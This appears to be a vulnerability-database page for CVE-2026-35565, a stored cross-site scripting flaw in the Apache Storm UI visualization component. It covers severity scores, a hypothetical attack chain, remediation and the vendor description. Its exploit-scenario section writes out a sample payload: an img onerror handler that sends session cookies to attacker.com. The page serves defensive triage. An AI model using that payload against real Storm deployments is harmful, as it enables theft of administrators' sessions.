Skip to main content

Apache Storm Ui CVE-2026-35565

| EUVDEUVD-2026-21904 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-13 apache
5.4
CVSS 3.1 · Vendor: apache
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker gains topology submission rights
  2. Delivery
    Crafts topology with XSS payload in component ID
  3. Exploit
    Submits topology to Nimbus
  4. Install
    Payload stored in Nimbus metadata
  5. C2
    Administrator views topology in Storm UI
  6. Execute
    JavaScript renders unsanitized component ID
  7. Impact
    Malicious script executes in admin context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This vulnerability presents a nuanced risk profile. CVSS 5.4 (Medium) with PR:L (requires authentication) and UI:R (requires user interaction-admin must view the topology) reflects moderate severity. However, EPSS 0.04% (11th percentile) indicates extremely low observed exploitation probability in the wild, and SSVC assessment of 'Exploitation: none, Automatable: no, Technical Impact: partial' confirms this is not a high-priority threat. The attack requires a specific precondition (attacker must have topology submission rights, a sensitive permission typically restricted to trusted operators), and impact is limited to the security context of users viewing the visualization. In single-tenant or restrictive-ACL environments, risk is minimal. In multi-tenant platforms with permissive submission policies, the privilege-escalation vector warrants attention. The combination of low EPSS, authentication requirement, and no evidence of active exploitation or public POC suggests this is a genuine but low-urgency vulnerability best addressed through standard patching cycles.

Exploit ScenarioDerived

An attacker with topology submission rights (e.g., a developer in a multi-tenant Storm cluster) submits a topology containing a bolt component with an ID like 'bolt_<img src=x onerror="fetch(attacker.com?cookies='+document.cookie+')">'. The malicious ID is stored by Nimbus and returned via the Visualization API when an administrator views the topology graph in the Storm UI. The JavaScript parseNode() function interpolates this unsanitized ID directly into tooltip HTML via innerHTML, causing the onerror event handler to execute in the administrator's browser, leaking session cookies or performing administrative actions. No public POC is identified; exploitation requires both topology submission access and social engineering or system access to ensure an admin views the malicious topology.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 13, 2026

Stored cross-site scripting in Apache Storm UI before 2.8.6 allows authenticated users with topology submission rights to inject malicious HTML/JavaScript via unsanitized component identifiers, stream names, and grouping values in the visualization component. The payload persists in Nimbus and executes in the browser of any administrator viewing the topology visualization, enabling privilege escalation in multi-tenant deployments. EPSS score of 0.04% and SSVC assessment of partial technical impact with no automated exploitation indicate relatively low real-world risk despite the concerning privilege-escalation scenario.

RemediationAI

Upgrade to Apache Storm 2.8.6 or later, which includes sanitization of topology metadata in the visualization JavaScript layer. For organizations unable to upgrade immediately, the release notes of Apache Storm 2.8.6 provide a guide to manually monkey-patch the parseNode() and parseEdge() functions in the visualization JavaScript file to HTML-escape all API-supplied values (nodeId, capacity, latency, component, stream, grouping attributes) before interpolation into tooltip HTML. Additionally, implement defense-in-depth by restricting topology submission permissions via Nimbus ACLs to only trusted users, reducing the attack surface. Consult the official advisory at https://storm.apache.org/2026/04/12/storm286-released.html and https://nvd.nist.gov/vuln/detail/CVE-2026-35565 for detailed remediation guidance.

Affected VersionsENISA

Apache Storm UI 0 <2.8.6

Affected Packages

maven org.apache.storm:storm-webapp fix: 2.8.6
euvd apache_storm_ui fix: 2.8.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Apache Storm's UI visualization component uses vis.js for rendering network topology graphs. The vulnerability exists in JavaScript functions parseNode() and parseEdge(), which directly interpolate topology metadata (component IDs, stream names, grouping attributes) into HTML via innerHTML without sanitization. Topology metadata originates from Nimbus (Storm's master) via Thrift RPC and flows through the Visualization API to the frontend JavaScript layer. The root cause is inadequate input validation (CWE-79: Improper Neutralization of Input During Web Page Generation) at the point where user-controlled data from topology definitions enters HTML construction. Because topology definitions are stored persistently in Nimbus, malicious payloads remain in the system and execute whenever the topology visualization is rendered.

Know when Apache Storm Ui gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (apache) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (apache) · only source for this CVE.

CVSS VectorVendor: apache

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
Patch released
Apr 15, 2026 - 02:30 nvd
Patch available
CVSS changed
Apr 13, 2026 - 15:22 NVD
5.4 (None) 5.4 (MEDIUM)
CVE Published
Apr 13, 2026 - 09:10 nvd
MEDIUM 5.4

DescriptionCVE.org

Stored Cross-Site Scripting (XSS) via Unsanitized Topology Metadata in Apache Storm UI

Versions Affected: before 2.8.6

Description: The Storm UI visualization component interpolates topology metadata including component IDs, stream names, and grouping values directly into HTML via innerHTML in parseNode() and parseEdge() without sanitization at any layer. An authenticated user with topology submission rights could craft a topology containing malicious HTML/JavaScript in component identifiers (e.g., a bolt ID containing an onerror event handler). This payload flows through Nimbus → Thrift → the Visualization API → vis.js tooltip rendering, resulting in stored cross-site scripting.

In multi-tenant deployments where topology submission is available to less-trusted users but the UI is accessed by operators or administrators, this enables privilege escalation through script execution in an admin's browser session.

Mitigation: 2.x users should upgrade to 2.8.6. Users who cannot upgrade immediately should monkey-patch the parseNode() and parseEdge() functions in the visualization JavaScript file to HTML-escape all API-supplied values including nodeId, :capacity, :latency, :component, :stream, and :grouping before interpolation into tooltip HTML strings, and should additionally restrict topology submission to trusted users via Nimbus ACLs as a defense-in-depth measure. A guide on how to do this is available in the release notes of 2.8.6.

Credit: This issue was discovered while investigating another report by K.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy